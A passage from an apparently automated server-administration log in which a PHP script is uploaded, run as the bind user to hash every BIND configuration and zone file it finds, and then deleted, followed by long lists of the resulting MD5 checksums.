MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:15:04: Establishing a connection
2026-04-22 12:15:04: 

PUT: /tmp/pkp232635

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:15:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp232635; rm /tmp/pkp232635'

2026-04-22 12:15:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:15:19: Establishing a connection
2026-04-22 12:15:19: 

PUT: /tmp/pkp664802

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:15:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp664802; rm /tmp/pkp664802'

2026-04-22 12:15:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
